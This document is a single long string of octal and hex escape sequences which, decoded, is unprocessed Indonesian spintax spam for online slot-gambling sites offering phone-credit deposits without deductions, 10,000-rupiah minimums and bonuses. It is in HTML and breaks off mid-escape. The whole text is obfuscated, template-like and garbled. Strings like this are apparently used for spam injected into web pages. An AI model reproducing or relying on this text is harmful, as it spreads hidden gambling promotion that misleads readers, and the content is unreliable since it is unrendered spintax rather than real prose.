\146\x61\141\x74\153\141\x6e\x7c\155\x65\155\141\153\x61\x69\x7c\x6d\145\x6e\x67\x67\165\156\141\153\x61\156\x7d\40\x64\145\160\157\x73\151\164\40\160\165\154\x73\x61\x2e\x3c\57\160\x3e\74\x70\76\173\x55\156\x74\x75\153\174\x42\x75\141\164\x7d\x20\x70\x65\x6d\141\151\x6e\40\173\165\x6e\x74\x75\x6b\x7c\142\165\141\164\175\40\173\x6d\145\156\147\141\x6e\x74\157\156\147\x69\x7c\x6d\x65\x6d\x70\145\162\157\x6c\145\150\x7c\x6d\x65\x72\x61\151\x68\x7c\155\x65\156\x64\141\x70\x61\x74\x6b\141\x6e\175\40\173\x6b\145\x75\x6e\x74\165\156\147\x61\x6e\x7d\x20\x62\145\163\141\162\40\173\142\x75\x6b\x61\156\x7c\164\151\144\141\x6b\x6c\x61\150\x7c\x74\x69\x64\141\153\175\x20\173\x73\x65\142\x75\x61\x68\x7c\163\165\141\x74\x75\175\x20\173\150\141\x6c\174\155\141\163\x61\x6c\x61\x68\174\x73\x6f\141\x6c\x7d\x20\171\x61\156\x67\x20\x7b\x74\x69\144\141\x6b\x20\x6d\x75\x6e\147\x6b\x69\156\174\x6b\x65\155\x75\x6e\147\x6b\151\156\141\156\x6e\171\x61\x20\153\145\143\x69\154\175\x2c\x20\173\x73\x65\x6a\x61\x75\x68\x7d\x20\160\154\141\x79\145\x72\x20\173\x62\145\x72\155\x61\151\156\x7c\155\141\x69\x6e\175\40\142\x65\162\x73\x61\x6d\x61\40\x64\145\156\147\x61\x6e\40\164\x65\x6e\x61\156\x67\40\x7b\x74\x61\156\160\x61\174\164\x61\156\x70\141\40\141\x64\141\x7c\x74\151\141\144\x61\175\40\x65\155\157\x73\x69\x2e\x20\x42\141\156\144\x61\162\x20\x53\154\x6f\164\40\117\x6e\x69\x6e\145\x20\104\x65\x70\x6f\x73\x69\x74\x20\x50\165\154\163\x61\40\173\x73\145\162\x69\156\147\x20\x6b\141\154\151\x7c\x6b\145\162\141\160\40\153\141\x6c\151\x7c\x73\145\x72\151\156\147\x7c\x73\x61\156\x67\x61\164\40\163\x65\x72\x69\x6e\147\x7d\x20\x7b\155\145\155\x62\x65\x72\151\x6b\x61\156\174\x62\x65\x72\151\x6b\141\x6e\x7c\x6d\145\155\x62\145\162\x69\156\171\141\175\40\164\141\x6d\x62\x61\x68\141\156\x20\102\x6f\156\165\163\40\173\x70\x61\x64\x61\x7c\x64\x69\x7d\x20\x7b\x73\x65\164\151\141\x70\x7c\x74\x69\141\x70\55\x74\x69\x61\x70\x7d\40\160\154\141\171\x65\162\x20\x79\141\x6e\147\x20\x7b\142\x61\162\165\174\141\x6e\171\141\162\x7d\40\x7b\144\x61\x6e\174\163\145\162\164\x61\175\x20\x7b\164\x65\162\x68\x69\x74\x75\x6e\x67\174\164\x65\162\147\157\x6c\x6f\156\147\x7c\164\145\x72\155\141\x6b\x73\x75\144\x7d\40\173\163\151\x73\x69\x7d\40\x7b\x73\x65\x74\151\x61\x7d\40\171\x61\x6e\147\40\x7b\x73\x65\x6c\141\154\x75\x7c\164\x65\x72\x75\x73\x2d\x6d\x65\156\145\162\165\163\x7d\x20\141\153\164\x69\x66\x20\173\142\145\x72\x6d\141\x69\x6e\174\x6d\141\x69\x6e\175\54\x7b\x4b\x61\x72\145\x6e\x61\x6e\171\141\x7c\123\145\142\141\142\x20\151\164\x75\174\x4c\x61\156\x74\x61\x72\141\x6e\x20\x69\164\165\x7d\x20\x41\147\145\x6e\40\123\154\157\x74\x20\120\165\154\163\141\x20\173\x54\x61\156\160\x61\174\124\x61\x6e\160\x61\x20\x61\x64\141\x7c\x54\x69\x61\144\x61\x7d\x20\120\157\164\157\x6e\x67\141\156\x20\62\x30\62\x32\40\x7b\154\141\155\141\x2d\154\x61\155\x61\174\163\x65\155\x61\x6b\x69\x6e\40\x6c\141\x6d\x61\175\x20\x6c\x61\x6d\141\x20\x7b\x6c\141\155\x61\55\154\x61\155\x61\174\x73\145\155\x61\153\x69\x6e\40\x6c\141\x6d\141\x7d\40\x64\x69\40\173\x6d\145\x6d\x69\x6e\x61\164\x69\174\164\x65\162\164\141\x72\151\153\x7d\x20\157\x6c\x65\150\40\x7b\x62\x65\142\x65\x72\141\160\x61\x7c\142\141\x6e\x79\141\x6b\x7d\40\x70\154\x61\x79\x65\x72\40\x73\x6c\x6f\x74\x20\171\x61\156\147\40\173\155\x69\156\164\141\174\155\145\x6d\x6f\150\157\x6e\174\x6d\145\156\147\x68\x61\162\141\x70\175\40\143\157\142\x61\x20\173\160\x65\162\x75\x6e\x74\x75\156\147\141\x6e\x7c\150\157\x6b\151\175\x2e\74\57\160\76\74\150\x32\76\173\x53\x69\x74\165\x73\x7c\114\151\x6e\153\174\101\147\145\x6e\174\x42\x61\156\144\141\162\x7c\102\x6f\175\x20\x53\x6c\157\x74\40\x44\145\x70\157\x73\x69\164\x20\x50\165\154\x73\x61\x20\124\141\156\160\141\x20\120\157\x74\157\156\x67\141\156\40\x31\x30\40\122\151\142\165\x20\124\x65\162\x70\x65\162\143\141\x79\x61\x3c\x2f\x68\62\76\x3c\160\x3e\x7b\x54\x65\154\x61\150\x7c\x55\144\x61\x68\175\40\173\x62\145\x62\x65\162\x61\x70\x61\40\x72\151\x62\x75\x7d\40\x7b\x61\156\x67\147\x6f\164\141\x7c\x70\x65\x73\x65\x72\164\x61\x7d\x20\x79\x61\156\x67\x20\x7b\155\x65\156\147\141\153\x75\x7d\x20\x7b\163\x65\142\x61\147\x61\x69\174\x73\x65\154\141\x6b\x75\x7c\x6a\141\144\151\174\x6d\145\x6e\x6a\141\x64\x69\x7d\x20\141\147\145\156\40\x62\141\156\144\x61\x72\x20\x73\x6c\157\x74\x20\x64\x65\160\x6f\163\151\x74\40\160\165\x6c\x73\x61\x20\164\x61\156\x70\x61\x20\160\157\x74\157\x6e\x67\141\x6e\x20\173\x64\151\x20\x6d\165\x6b\x61\x7d\40\x7b\x70\x61\x6c\151\x6e\147\x20\142\145\163\x61\x72\x7d\40\x79\x61\x6e\147\x20\x7b\x73\165\144\x61\150\x7c\165\x64\x61\150\175\40\173\x72\x61\163\141\x6b\x61\156\x7c\155\145\162\141\x73\141\151\x7d\40\x6b\145\155\145\156\141\156\147\x61\x6e\x20\x7b\152\145\x6b\x70\x6f\x74\175\40\173\x70\x61\x6c\151\156\147\40\142\x65\x73\141\x72\x7d\x20\x64\151\40\111\x6e\x69\x2e\40\173\124\x65\162\141\156\147\175\x2c\x20\151\164\165\40\173\163\x75\x64\141\x68\174\165\144\141\x68\x7d\40\173\142\x69\x73\141\x20\x64\151\142\x75\x6b\164\151\x6b\x61\x6e\x7c\144\x61\160\141\164\x20\144\x69\142\x75\x6b\164\151\153\141\x6e\x7c\142\151\x73\x61\x20\164\145\x72\x62\165\153\164\x69\153\141\156\x7d\40\142\145\162\163\141\155\x61\x20\144\145\156\x67\141\x6e\x20\x7b\x61\156\147\x67\x6f\x74\141\174\160\145\x73\145\162\164\141\x7d\x20\x79\x61\156\x67\40\155\x61\151\156\x20\x44\141\146\164\x61\x72\40\112\165\144\x69\x20\123\154\x6f\x74\40\x7b\x54\x65\x72\x6b\151\x6e\x69\174\x54\x65\x72\x61\x6e\x79\x61\162\x7c\124\x65\162\x61\x6b\x68\x69\162\175\x20\173\142\151\163\141\x20\154\x61\x6e\147\x73\165\156\x67\x7c\x6c\141\x6e\x67\163\165\156\147\x20\x64\141\160\141\x74\174\144\x61\x70\x61\164\x20\154\x61\156\147\163\165\x6e\147\x7d\x20\142\157\x6e\x75\x73\x20\173\x74\x61\x6e\x70\141\174\164\141\156\160\x61\x20\x61\x64\141\x7c\x74\x69\141\144\141\175\40\144\x65\160\157\163\x69\x74\40\173\144\x61\x6e\174\x73\x65\x72\164\x61\175\x20\x63\x65\160\x61\x74\x20\x6d\145\x6e\x61\x6e\x67\x2e\x20\173\113\141\162\145\x6e\141\40\x69\164\x75\174\113\141\x72\145\x6e\141\x6e\x79\141\x7c\117\154\145\150\x20\x6b\141\x72\x65\x6e\141\40\x69\164\x75\x7c\123\145\142\x61\142\40\151\x74\165\175\54\x20\x62\x6f\163\153\x75\x20\x7b\144\x61\160\x61\x74\x7d\40\x7b\155\x65\x6e\143\141\x72\x69\174\155\145\156\145\x6c\x75\x73\x75\162\174\154\141\x63\x61\153\175\x20\173\160\145\156\x64\141\x70\x61\164\x61\156\x7c\x70\145\x6d\x61\163\x75\x6b\141\156\175\x20\173\163\141\155\142\151\x6c\141\156\175\x20\141\164\141\165\x20\x7b\x68\x61\156\171\141\x7c\x73\145\x62\x61\164\x61\x73\x7c\x63\165\x6d\x61\x7c\150\x61\156\171\141\x6c\x61\150\x7c\163\145\153\145\x64\141\162\x7d\40\173\151\156\147\x69\156\x6b\141\x6e\x7c\151\144\141\x6d\x6b\x61\156\174\155\x69\155\x70\151\153\141\x6e\175\x20\x7b\155\145\x6e\171\145\x6d\x70\x61\164\x6b\x61\156\174\155\x65\x6e\x79\151\163\151\150\x6b\141\x6e\x7d\40\x7b\163\x61\141\x74\x7c\167\x61\x6b\164\x75\x7d\x20\x6d\x75\40\x7b\165\x6e\x74\165\x6b\174\x62\165\141\164\175\40\x7b\155\141\151\x6e\153\141\x6e\174\x70\145\162\x6d\x61\x69\x6e\153\141\156\x7d\40\147\x61\x6d\x65\x20\155\x65\x73\151\156\40\163\x6c\157\x74\40\147\141\x63\x6f\x72\x20\x79\x61\x6e\x67\x20\173\x73\x65\154\x61\x6c\165\174\164\x65\x72\x75\x73\55\x6d\x65\x6e\145\x72\165\163\175\x20\x73\x69\141\160\x20\173\142\x75\141\164\40\141\x6e\x64\141\175\40\x7b\x70\145\162\x6d\141\x69\x6e\153\x61\156\175\40\x7b\163\145\152\x61\165\150\175\40\x32\x34\40\152\x61\x6d\x20\x7b\163\145\x70\145\162\164\151\175\40\x7b\x68\x61\x6c\174\x70\145\162\151\x68\x61\x6c\x7c\160\x65\162\151\150\141\154\x6e\x79\x61\x7d\x20\173\142\x65\162\155\141\x69\x6e\174\155\141\x69\156\175\40\x6a\165\x64\x69\x20\x7b\x6b\141\163\x69\x6e\157\175\x2e\74\x2f\x70\x3e\74\160\76\x7b\x42\145\162\155\x61\x69\156\x7c\x4d\141\151\x6e\x7d\x20\173\x64\x69\x20\x73\x69\x6e\x69\x7c\144\x69\40\x74\x65\x6d\x70\x61\x74\40\151\156\151\x7d\40\x7b\x74\x65\x6e\x74\x75\174\x6a\x65\x6c\x61\163\174\x6e\171\x61\x74\x61\x7c\x70\141\x73\x74\151\156\x79\x61\174\x70\x61\x73\164\151\154\141\150\x7d\40\173\x74\145\x72\x64\141\x70\141\x74\175\40\74\141\40\x68\162\145\x66\75\42\x22\x3e\154\151\x6e\x6b\40\163\154\157\164\x20\x64\145\x70\x6f\x73\151\x74\40\x70\x75\x6c\x73\x61\74\57\x61\x3e\40\x74\x61\x6e\x70\x61\x20\x70\157\x74\x6f\156\x67\141\x6e\x20\x7b\x64\141\x6e\174\x6a\x75\147\x61\174\x6e\x61\155\165\156\40\152\165\147\141\x7c\163\145\162\164\141\x7d\40\x7b\141\x64\x61\x7c\x74\x65\162\x64\141\160\141\x74\x6e\x79\141\x7c\x74\x65\162\x73\x65\x64\x69\141\156\171\141\x7d\40\142\x6f\x63\157\162\x61\156\x20\163\x6c\157\x74\40\160\x72\141\x67\155\141\x74\x69\x63\40\160\154\x61\x79\40\x79\141\156\x67\x20\173\141\153\x61\x6e\174\142\141\153\141\x6c\141\x6e\x7c\x64\x61\160\x61\x74\x7d\40\x6d\x65\x6e\141\156\x67\x20\x7b\x6d\141\154\141\155\40\150\x61\x72\x69\40\151\x6e\x69\174\x69\156\151\40\155\141\154\141\155\175\56\40\173\x53\145\x6d\165\141\174\123\x65\155\x75\x61\156\x79\141\x7c\x53\x65\154\165\x72\165\x68\174\123\x65\154\x75\x72\x75\x68\156\171\x61\175\x20\173\x69\x6e\x66\157\174\151\156\x66\x6f\162\155\141\x73\151\175\40\x73\x6c\x6f\x74\x20\147\x61\143\157\x72\40\173\151\x6e\x69\40\150\141\162\x69\175\40\173\144\x61\160\141\164\x7d\x20\x61\156\x64\x61\40\x7b\x70\x65\x72\157\154\x65\150\x7c\164\145\155\165\x6b\141\x6e\175\40\x62\145\162\x73\141\155\141\40\144\x65\156\147\x61\156\x20\173\x6d\165\x64\x61\150\174\x72\151\156\x67\141\x6e\x7c\x67\x61\155\160\141\156\147\175\x20\173\150\141\156\171\x61\174\143\165\x6d\x61\156\x7c\x73\x65\x6b\145\x64\141\x72\175\x20\x62\x65\162\x73\141\155\141\x20\x64\x65\156\147\141\x6e\40\x64\x61\x66\x74\x61\162\x20\163\154\x6f\164\x20\x7b\x73\x61\x68\x7d\40\x7b\144\x69\40\163\151\156\151\x7c\x64\151\40\164\x65\155\x70\x61\164\40\151\x6e\x69\175\56\40\x7b\x44\x69\x73\x61\x6d\x70\151\156\x67\x20\151\x74\x75\x7c\x44\x69\154\x75\x61\x72\40\x69\x74\x75\174\x54\x69\x64\x61\x6b\x20\150\x61\156\171\x61\x20\151\x74\165\174\x54\145\x72\x6b\145\143\x75\x61\x6c\151\40\x69\164\x75\175\54\x20\x7b\x74\145\x72\x68\x69\x74\x75\x6e\147\174\164\x65\162\147\157\x6c\157\156\147\x7c\164\145\x72\x6d\x61\x6b\163\x75\x64\x7d\x20\x7b\x61\144\x61\x7d\x20\154\x69\x6e\153\40\163\154\157\x74\x20\144\x65\160\157\163\151\x74\40\160\x75\154\163\141\x20\164\141\x6e\x70\141\x20\x70\x6f\x74\x6f\x6e\x67\141\x6e\40\x6c\x6f\x67\x69\156\40\x7b\164\x65\162\142\141\162\165\x7c\164\145\x72\x61\156\171\x61\x72\174\164\x65\x72\153\151\156\x69\x7c\164\145\x72\x61\153\x68\x69\x72\175\x20\123\x4c\x4f\124\40\142\x65\x72\163\141\x6d\x61\40\x7b\x64\x65\156\147\x61\x6e\x20\x64\145\155\151\x6b\x69\141\156\175\x20\x61\x6e\144\x61\40\x7b\x74\151\x64\x61\153\x7c\x74\x61\153\175\x20\x7b\x61\x6b\x61\156\174\x62\141\x6b\141\x6c\x61\156\x7c\144\x61\160\x61\164\x7d\40\x7b\153\145\164\151\x6e\147\147\x61\154\x7c\x74\x65\162\x74\151\156\x67\147\141\x6c\x7d\x20\173\144\x69\40\144\x61\154\x61\x6d\x7c\144\x61\x6c\141\x6d\174\x70\x61\144\x61\x7d\40\x7b\155\x65\156\x63\141\x72\x69\x7c\155\x65\156\x65\154\x75\163\x75\x72\x7c\x6c\x61\143\x61\x6b\175\40\163\154\157\164\40\150\x61\144\x69\141\150\40\x7b\x70\141\154\x69\x6e\147\40\142\x65\163\141\162\175\40\171\x61\156\x67\x20\x7b\x64\151\x62\x65\x72\151\174\x64\x69\x6b\141\x73\x69\x68\153\141\x6e\175\40\x6f\154\x65\150\40\141\147\x65\x6e\40\x73\154\x6f\x74\x20\x62\x6f\156\x75\x73\40\x31\x30\x30\45\x20\x6e\x65\x77\x20\173\x61\x6e\147\147\157\164\141\174\x70\x65\x73\145\162\164\x61\175\x20\173\x70\141\144\x61\x20\141\167\x61\154\174\144\151\141\x77\141\154\156\171\x61\x7d\56\123\154\157\x74\40\x64\145\x70\x6f\163\x69\164\x20\x70\x75\154\163\141\x20\x74\x61\156\x70\141\x20\x70\157\x74\x6f\x6e\147\141\x6e\x20\x7b\x74\145\x72\142\141\162\x75\x7c\164\145\162\141\156\171\x61\162\174\164\x65\162\153\x69\x6e\x69\174\164\145\x72\x61\153\150\x69\x72\x7d\40\x32\60\x32\62\x20\173\163\151\141\x70\x6b\x61\156\x7c\163\x61\152\151\153\x61\156\x7d\x20\173\x62\x65\162\155\x61\x63\x61\x6d\174\142\x65\x72\166\x61\x72\151\x61\x73\x69\x7c\x62\141\x6e\x79\141\x6b\x7c\x62\145\162\141\156\x65\153\x61\175\x20\x7b\x6a\145\x6e\x69\x73\174\x72\x61\147\x61\x6d\175\x20\160\145\162\x6d\x61\151\156\x61\x6e\x20\173\171\x61\156\x67\x20\x6a\x65\x6c\141\163\x7c\171\141\x6e\x67\x20\164\x65\156\164\165\x7c\x79\141\156\147\x20\142\145\x6e\141\162\x7c\171\x61\x6e\x67\40\156\x79\x61\x74\141\175\x20\x7b\144\141\x70\141\164\175\40\x61\x6e\x64\141\x20\173\155\145\x6d\160\145\x72\155\x61\x69\156\153\141\156\x7c\x6d\x65\155\x61\x69\x6e\153\141\x6e\x7c\155\141\x69\156\x6b\141\x6e\175\x20\x62\x65\162\x73\141\155\x61\40\x64\145\x6e\x67\141\156\40\x6e\171\141\x74\141\x2d\x6e\x79\x61\x74\x61\x20\x7b\155\165\x64\x61\150\174\162\151\x6e\x67\x61\x6e\x7c\x67\x61\155\160\x61\156\147\x7d\40\x73\145\153\141\x6c\151\40\163\141\x6a\141\40\173\155\141\x6e\146\141\141\x74\x6b\141\156\x7c\x6d\x65\x6d\x61\153\x61\x69\x7c\x6d\x65\156\147\x67\x75\x6e\x61\153\141\156\x7d\x20\x31\x20\173\x61\x6b\x75\x6e\x7d\40\163\x61\x6a\x61\56\40\173\x42\x75\141\164\40\141\156\144\x61\x7d\x20\171\x61\x6e\147\40\x7b\142\141\x6e\171\x61\x6b\40\x6d\x65\155\151\x6c\151\x6b\151\174\155\145\155\151\154\151\x6b\x69\175\x20\x7b\x67\141\x6d\x65\x7c\x70\x65\162\x6d\x61\151\x6e\141\x6e\175\x20\x7b\x66\141\x76\157\x72\151\164\174\164\x65\162\141\164\141\163\x7d\x2c\40\173\153\x61\x72\x65\156\141\156\171\x61\174\163\x65\142\x61\142\x20\151\x74\165\x7c\154\141\x6e\164\141\x72\x61\156\40\x69\x74\165\x7d\x20\x61\156\144\x61\40\173\163\x75\x64\141\x68\x7c\x75\x64\x61\x68\x7d\40\x7b\142\145\162\x6b\165\x6e\x6a\x75\x6e\x67\x7c\x64\x61\164\x61\x6e\147\x7c\x6d\x61\155\x70\x69\x72\x7d\x20\x7b\160\x61\x64\141\x7c\x64\151\x7d\x20\x7b\144\x61\145\162\x61\150\x7c\154\157\x6b\x61\163\151\174\164\x65\155\160\x61\x74\174\141\162\145\141\x7d\x20\x79\x61\156\x67\40\173\x70\x61\x6c\151\x6e\147\x7c\x73\x61\x6e\147\x61\164\x7c\x61\155\141\x74\x7d\40\173\x62\145\x74\165\154\175\x2e\40\x44\151\40\x73\151\x6e\x69\x20\x61\156\144\141\x20\173\x74\x69\144\141\x6b\174\x74\x61\x6b\175\x20\173\155\x61\156\146\141\141\x74\x6b\141\x6e\x7c\x6d\145\x6d\x61\153\141\x69\x7c\x6d\145\156\147\147\x75\156\x61\x6b\x61\156\x7d\40\x7b\162\145\x70\157\164\x7d\40\173\x75\156\x74\165\x6b\174\x62\165\141\164\175\40\x7b\x6d\145\x6e\x64\x61\x66\164\141\162\x7d\40\x62\x61\x6e\171\x61\153\40\x7b\141\153\x75\x6e\x7d\40\x61\x74\x61\165\x20\x7b\x6b\x65\x72\x6a\x61\153\141\156\174\155\x65\x6c\141\153\165\153\x61\x6e\175\40\173\x70\145\162\147\x61\156\x74\151\x61\x6e\x7c\160\145\x72\x75\142\x61\x68\x61\156\x7d\40\x7b\141\153\x75\x6e\175\x20\173\x68\141\156\171\141\174\163\145\142\141\164\x61\x73\x7c\143\165\155\141\x7c\x68\141\156\x79\141\154\141\150\174\163\145\153\x65\x64\x61\x72\175\40\x7b\165\x6e\x74\165\x6b\x7c\x62\x75\141\x74\x7d\40\173\x63\x6f\x62\141\x7d\40\x67\141\x6d\145\40\x73\154\157\164\40\144\x65\x70\x6f\x73\151\164\40\160\165\154\163\141\40\173\61\60\40\x72\151\142\165\x7c\61\60\40\x72\x62\x7c\61\x30\x2e\60\60\x30\175\x20\x7b\x6c\x61\151\x6e\156\x79\x61\174\x79\x61\x6e\x67\x20\x6c\x61\x69\x6e\156\x79\141\175\40\153\141\x6d\x69\x20\x7b\160\x65\x72\163\x69\x61\160\x6b\x61\x6e\x7d\x20\144\151\40\x73\x69\156\x69\x2e\x20\x44\145\x6e\147\141\x6e\40\x7b\163\145\x70\145\162\x74\x69\x7d\x20\x69\x74\165\x2c\x20\x61\x6e\x64\x61\x20\173\x6d\145\156\x67\150\x65\x6d\x61\x74\x7d\40\173\x62\x65\142\x65\x72\141\x70\x61\174\163\x65\x6a\x75\155\x6c\x61\x68\x7d\x20\x7b\x73\x61\141\164\x7c\167\x61\153\x74\x75\175\x20\x7b\163\x65\x72\x74\141\x20\154\x65\x62\x69\x68\x7d\40\173\163\x69\156\147\153\141\164\x7d\x20\173\x62\x75\x61\164\x20\141\156\x64\141\175\54\40\173\x6b\141\162\145\156\141\x7c\163\x65\x62\x61\x62\174\154\141\x6e\x74\141\162\x61\156\175\40\x61\x6e\144\x61\40\x7b\x64\x61\x70\141\164\x7d\40\x7b\163\145\164\145\x72\165\163\156\171\141\x7c\163\145\x74\x65\154\141\150\x20\x69\164\x75\x7c\x73\145\163\165\144\141\150\40\151\164\165\175\40\x7b\143\x6f\142\x61\x7d\40\173\x67\141\x6d\145\x7c\x70\145\x72\x6d\141\x69\156\141\x6e\175\40\x6c\x61\x69\156\x20\142\x65\162\163\x61\x6d\x61\x20\x64\145\x6e\x67\141\156\x20\x73\x65\x6b\141\x6c\x69\40\173\143\x6c\151\x63\153\x7d\x20\163\141\152\141\x2e\x3c\x2f\160\76\74\150\62\x3e\113\x65\165\x6e\x74\x75\156\147\x61\x6e\x20\173\102\145\162\x6d\x61\151\156\174\x4d\141\151\x6e\x7d\40\x44\151\x20\173\123\x69\164\165\x73\174\114\151\156\x6b\x7c\101\x67\x65\x6e\x7c\x42\x61\x6e\x64\141\162\x7c\x42\157\175\40\x4a\x75\x64\x69\x20\123\x6c\x6f\164\40\104\145\160\x6f\163\x69\164\40\120\165\154\x73\x61\40\x31\60\40\x52\151\x62\165\74\57\x68\62\x3e\x3c\160\76\74\x61\40\x68\x72\x65\146\75\x22\x22\x3e\x53\154\x6f\164\40\107\x61\x63\157\162\x3c\x2f\141\76\x20\x7b\155\145\155\160\165\156\x79\141\151\174\x70\x75\156\x79\x61\x7c\x70\165\x6e\x79\x61\151\x7c\155\151\x6c\x69\x6b\151\175\40\x4b\145\165\156\164\x75\156\147\141\156\40\173\142\x65\x72\x6d\x61\151\x6e\174\155\141\x69\156\x7d\x20\x64\151\x20\154\151\156\153\x20\147\x61\x6d\x65\40\163\x69\x74\165\163\x20\x73\154\157\x74\40\147\x61\143\x6f\x72\40\173\x6d\165\144\x61\x68\x7c\x72\x69\156\147\141\156\x7c\x67\x61\x6d\x70\141\156\x67\175\40\155\x65\156\141\156\x67\x20\x70\x75\x6c\163\141\40\x31\x30\x20\x72\151\x62\x75\x20\164\141\x6e\x70\x61\40\160\157\164\157\156\147\x61\156\40\x7b\x69\x61\154\141\x68\174\x79\x61\x69\164\x75\174\x6d\x65\x72\x75\x70\141\153\141\x6e\174\171\x61\153\x6e\151\x7d\40\x7b\x6d\x65\154\x61\x6c\x75\151\175\x20\x61\147\x65\x6e\40\123\151\x74\165\x73\40\112\165\144\151\x20\123\154\157\x74\x20\104\145\160\157\163\151\164\x20\120\165\154\163\141\x20\x31\x30\x20\122\151\142\x75\40\x64\151\x20\x49\x6e\144\x6f\156\x65\x73\151\x61\x2e\x20\141\x6e\144\141\x20\x7b\144\141\160\x61\164\x7d\x20\x74\x65\x72\x69\155\141\x20\173\x62\145\142\x65\162\141\160\x61\x7c\x73\145\152\165\x6d\154\141\150\x7d\x20\x7b\160\x72\x6f\x6d\x6f\x73\x69\x7d\40\x62\157\x6e\x75\x73\40\144\145\x70\157\x20\173\x6d\157\x64\x61\x6c\40\x74\141\x6d\142\141\x68\x61\x6e\174\144\141\x6e\141\x20\164\141\x6d\142\x61\150\x61\x6e\x7c\x64\x61\x6e\x61\x20\163\165\x6e\164\151\153\141\156\x7c\155\x6f\144\141\x6c\x20\163\165\156\164\x69\153\141\156\x7d\x20\x6c\141\x6e\147\163\165\156\147\x20\173\x74\141\x6e\160\x61\174\x74\141\156\x70\x61\x20\x61\144\141\x7c\x74\x69\141\144\141\x7d\x20\173\160\145\162\163\171\141\162\x61\x74\141\156\174\160\x72\x61\163\x79\141\162\141\164\x7c\153\x72\151\x74\145\162\x69\x61\175\56\40\x7b\x53\141\x74\165\40\144\151\141\x6e\164\x61\x72\141\156\171\x61\174\104\151\141\156\x74\x61\162\x61\156\x79\141\x7c\101\156\x74\141\x72\141\40\x6c\141\151\156\156\x79\141\175\x20\153\145\165\156\164\165\x6e\x67\141\x6e\x20\x79\x61\156\147\40\173\x70\141\x6c\151\x6e\x67\x7c\x73\x61\x6e\147\141\x74\174\141\x6d\141\164\x7d\40\173\144\151\163\x61\171\141\x6e\x67\x69\x7d\x20\x6f\154\145\x68\40\x70\145\x6d\141\151\x6e\x20\173\151\141\154\x61\150\x7c\171\141\x69\x74\165\174\155\x65\162\x75\160\141\153\141\x6e\x7c\171\141\153\156\x69\x7d\40\173\x6d\x69\156\151\x6d\141\154\x7d\40\144\x65\x70\157\163\151\164\x20\x79\x61\156\x67\x20\156\171\x61\164\x61\x2d\x6e\171\141\x74\141\40\x72\x65\154\x61\x74\151\146\x20\155\x75\162\x61\150\54\40\x7b\144\x61\156\x7c\x73\x65\162\x74\x61\x7d\40\173\x74\x69\144\141\153\174\164\141\153\175\40\x61\144\141\x20\160\157\x74\157\156\147\x61\156\x20\163\141\x6d\x61\x20\x7b\x73\145\153\141\154\x69\x6e\x79\x61\x7d\x2e\74\57\160\76\x3c\x70\x3e\x4a\141\x64\x69\40\x6e\x79\x61\x74\x61\x2d\156\x79\141\164\141\x20\x7b\155\145\155\142\x65\162\151\x6b\141\x6e\x7c\142\x65\x72\x69\153\x61\156\174\x6d\x65\x6d\142\x65\162\151\x6e\171\141\175\40\x7b\x6b\x65\165\156\164\x75\156\x67\141\156\40\164\141\155\x62\141\x68\x61\156\175\x20\173\165\156\x74\165\x6b\174\x62\x75\141\x74\175\40\160\154\141\171\x65\x72\54\40\x7b\153\x61\162\x65\156\x61\x7c\163\145\142\141\142\174\x6c\141\156\164\141\x72\x61\x6e\175\40\x61\156\144\x61\x20\173\141\153\x61\156\174\142\x61\x6b\x61\x6c\141\156\x7c\x64\141\x70\141\164\175\x20\173\x6d\x65\155\x70\145\162\157\x6c\x65\150\174\155\145\156\144\141\x70\x61\164\174\155\x65\x6e\x64\x61\x70\141\x74\x69\175\x20\173\x6b\x72\x65\144\x69\164\x7d\x20\146\x75\x6c\154\40\x7b\x70\141\x74\x75\x74\x7c\x6c\141\x79\141\153\175\40\142\145\x72\x73\x61\155\x61\40\x64\145\x6e\x67\141\156\x20\x6e\157\155\151\x6e\141\154\x20\x79\x61\x6e\147\40\x7b\x73\165\144\x61\x68\174\x75\144\141\150\x7d\x20\x61\x6e\144\141\40\x74\x72\x61\156\163\x66\145\162\x20\153\x65\x20\173\x6e\157\x6d\x6f\x72\x7d\x20\x61\x72\141\150\56\x20\x7b\x4b\x6f\x6e\x64\x69\x73\x69\x7c\x53\x69\164\165\141\163\151\x7d\x20\x69\x6e\x69\40\x7b\x74\x65\x6e\x74\165\174\152\x65\x6c\141\x73\174\156\x79\141\164\x61\x7c\x70\141\x73\164\x69\156\x79\x61\x7c\x70\x61\163\164\x69\x6c\x61\x68\x7d\40\x7b\142\x65\x72\142\145\x64\x61\174\142\145\162\154\141\x69\156\x61\x6e\174\x74\151\144\141\x6b\x20\x73\x61\x6d\141\x7d\40\x6a\x61\165\x68\40\x7b\x73\x61\x6d\141\x20\144\145\x6e\x67\x61\x6e\x20\171\141\156\x67\175\x20\x64\151\40\x7b\x74\145\x72\x61\x70\153\x61\x6e\175\40\x6f\154\x65\150\40\163\x69\x74\x75\163\40\x6a\165\144\151\40\62\x34\152\x61\155\40\173\x6c\141\151\x6e\156\x79\141\x7c\171\x61\156\x67\40\154\x61\151\x6e\x6e\x79\x61\x7d\54\40\173\153\141\162\x65\x6e\x61\x7c\163\x65\142\141\142\174\x6c\x61\x6e\x74\x61\162\141\x6e\x7d\40\x7b\x77\x65\142\163\x69\164\145\x7c\x73\151\164\x75\x73\174\x77\x65\x62\55\163\151\164\x65\x7d\x20\154\141\x69\x6e\x2c\40\x7b\156\157\x72\155\141\154\156\171\x61\x7c\163\145\167\x61\x6a\x61\162\156\171\x61\x7d\40\x6d\145\x6d\142\x65\x62\141\156\x6b\141\156\x20\x7b\142\151\x61\x79\x61\x7c\x63\x6f\x73\164\x7d\x20\x7b\165\x6e\x74\x75\153\x7c\142\165\141\164\x7d\x20\144\x65\160\x6f\x73\x69\x74\40\163\154\x6f\164\x20\x7b\155\141\156\146\x61\141\164\x6b\141\156\174\x6d\x65\155\x61\153\x61\x69\174\155\145\x6e\x67\147\x75\x6e\x61\153\141\156\175\40\x70\165\154\163\x61\56\74\57\x70\x3e\74\160\76\173\x4d\x65\154\x61\x6c\165\x69\x7d\x20\x3c\141\40\x68\x72\145\x66\x3d\42\x22\x3e\142\141\156\144\141\162\x20\x53\x6c\157\x74\40\104\145\160\157\x73\151\x74\x20\120\165\x6c\163\141\x20\x31\60\x20\122\151\142\165\74\57\x61\76\54\40\141\156\144\x61\40\173\x64\141\160\x61\x74\x7d\x20\x7b\142\x65\x72\155\x61\151\x6e\174\155\x61\x69\156\x7d\x20\154\145\x62\151\150\x20\142\x65\x72\141\x73\141\154\40\x7b\144\x61\164\x61\156\147\x20\144\141\162\151\x7c\141\x73\x61\x6c\x20\x64\141\x72\151\x7c\x62\x65\x72\x61\x77\141\154\x20\x64\141\x72\151\x7d\x20\65\60\x30\x20\173\164\x79\x70\x65\x7c\x6d\x6f\144\145\x6c\174\152\